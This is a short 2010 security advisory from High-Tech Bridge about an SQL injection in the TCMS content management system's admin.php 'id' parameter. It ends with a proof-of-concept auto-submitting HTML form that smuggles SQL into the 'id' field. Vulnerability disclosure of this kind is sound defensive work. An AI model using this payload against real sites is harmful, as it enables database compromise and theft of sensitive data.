SQL injection vulnerability in TCMS



Vulnerability ID: HTB22576
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_tcms_2.html
Product: TCMS
Vendor: Target CMS ( http://targetcms.com/ )
Vulnerable Version: 100728 and Probably Prior Versions
Vendor Notification: 09 August 2010
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "php/lib/admin.php" script to properly sanitize user-supplied input in "id" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/www/index.php"; method="post" name="main" >

<input type="hidden" name="template" value="3" />
<input type="hidden" name="language" value="1" />
<input type="hidden" name="name" value="home" />
<input type="hidden" name="note" value='The note text' />
<input type="hidden" name="value" value="page content" />
<input type="hidden" name="admin" value="1" />
<input type="hidden" name="text" value="1" />
<input type="hidden" name="section" value="content" />
<input type="hidden" name="id" value="9'+ANY_SQL_CODE" />
<input type="hidden" name="action" value="Save text" />

</form>
<script>
document.main.submit();
</script>



Relevant Pages